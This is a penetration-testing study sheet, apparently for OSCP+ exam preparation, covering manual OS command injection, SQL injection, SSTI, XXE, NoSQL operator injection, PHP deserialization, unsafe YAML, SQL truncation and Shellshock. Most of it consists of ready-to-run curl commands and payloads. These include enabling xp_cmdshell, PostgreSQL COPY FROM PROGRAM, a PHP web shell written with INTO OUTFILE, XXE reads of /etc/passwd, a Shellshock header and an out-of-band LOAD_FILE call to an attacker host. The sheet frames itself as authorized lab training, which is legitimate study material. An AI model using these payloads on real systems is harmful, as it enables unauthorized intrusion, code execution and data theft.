← Complete task index · Workspace

Command and Manual SQL Injection

← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access

Use when: mapped application behavior suggests attacker input reaches an operating-system command or database query. Preserve a valid baseline, change one input at a time and prove each capability separately.

Operating-system command injection

Visible-output baseline

Start with a benign identity marker appropriate to the inferred operating system:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.

Variants — separators, quoting and POST bodies

Test only the forms compatible with the observed command and platform:

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:

127.0.0.1 & whoami
127.0.0.1 | whoami

Blind timing proof

Repeat a control and a bounded-delay request several times:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence:

127.0.0.1 & timeout /t 5

Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.

After command execution

Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

Manual SQL injection workflow

Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.

1. Establish query influence

Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:

VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2

For a numeric context:

1
1 AND 1=1
1 AND 1=2

Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated 500, WAF block or generic application error is not enough.

2. Authentication-bypass candidate

In an authorized disposable lab, preserve the application's quoting and comment syntax:

' OR 1=1-- -
administrator'-- -

Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.

3. Determine UNION shape

First establish column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Or increment NULL columns until the query succeeds:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Then find a displayed text-compatible column:

' UNION SELECT NULL,'MARKER_7F31',NULL-- -

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

4. Extract only after fingerprinting the DBMS

MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

5. Boolean- or time-blind extraction

Choose a stable page marker or content length for true/false comparisons:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

DBMS-specific time proofs:

MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.

Database control to operating-system effect

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.

PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.

MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.

Out-of-band SQL injection boundary

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

Hypothetical MySQL/Windows UNC lookup in an authorized lab:

SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

Failure-guided decisions

  • quote causes generic error only -> compare true/false and inspect whether the application, proxy or WAF generated it;
  • UNION always errors -> recheck context, column count, types, parentheses and comment syntax;
  • blind pages differ randomly -> find a stable marker or repeat timing controls before continuing;
  • command payload is reflected -> no execution proof; compare command-derived output or side effect;
  • command executes but callback fails -> keep execution confirmed and diagnose listener, route, payload and egress separately in Block 7;
  • database identity lacks the required role/feature -> retain data access and search extracted configuration/credentials rather than assuming OS execution.

Handoffs

  • extracted password/hash/key/token -> Block 5 with source and identity context;
  • exact vulnerable product/version or stored procedure requirement -> Block 6;
  • verified OS command -> Block 7 session handling;
  • file write into web content -> web file handling;
  • useful application account/role -> remap authenticated behavior in Block 3.

SSTI — prove template evaluation, then identify the engine

Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:

# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Sources: upstream 1.

XXE — test the XML parser and file-read result

Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:

<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.

If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:

<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Sources: upstream 1.

NoSQL operator injection — separate JSON objects from strings

Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.

# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Sources: upstream 1.

PHP deserialization — match the gadget to installed dependencies

Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.

# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Sources: upstream 1.

Unsafe YAML construction — distinguish loading from safe parsing

Use when source or errors identify Python YAML processing with an unsafe loader and you control the loaded YAML. An ordinary JSON field or yaml.safe_load() does not supply this condition.

!!python/object/apply:os.system ["id"]

Put the probe in the actual YAML input/file, preserving its required surrounding structure. Read: attributable command output/effect supports unsafe construction. ConstructorError for the Python tag commonly indicates a loader that does not permit that constructor. Confirm the installed PyYAML version and loader (UnsafeLoader/unsafe load), rather than assuming that any use of YAML permits Python object execution.

Sources: upstream 1.

SQL truncation or normalization mismatch at registration

Use when the application checks one representation for uniqueness but the DB stores or compares a different one—for example, an overlong username in a fixed-length column. Validate with a disposable account first.

-- With SQL visibility, inspect the real column and strict-mode behavior
SELECT @@sql_mode;
SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH
FROM information_schema.columns
WHERE table_schema = DATABASE() AND table_name = 'users';

Compare registration/login behavior for the test name, its trailing-space form and an overlong form that would truncate to it. A plus character only becomes a space in the appropriate form encoding; it is not a universal SQL payload. A strict length error or a unique constraint on the normalized stored value can stop this path. Confirm an actual account/authorization change before calling it a bypass.

Sources: upstream 1.

Shellshock candidate — only for a CGI path that invokes vulnerable Bash

Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.

# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Sources: upstream 1.

Sources

Supplied PEN-200 Ch 9.4 pp274-279 and Ch 10 pp285-300; reviewed getSH Web/SQLi route; Hexdump SQL injection module; OWASP command injection testing, OWASP SQL injection testing; current OSCP+ exam guide.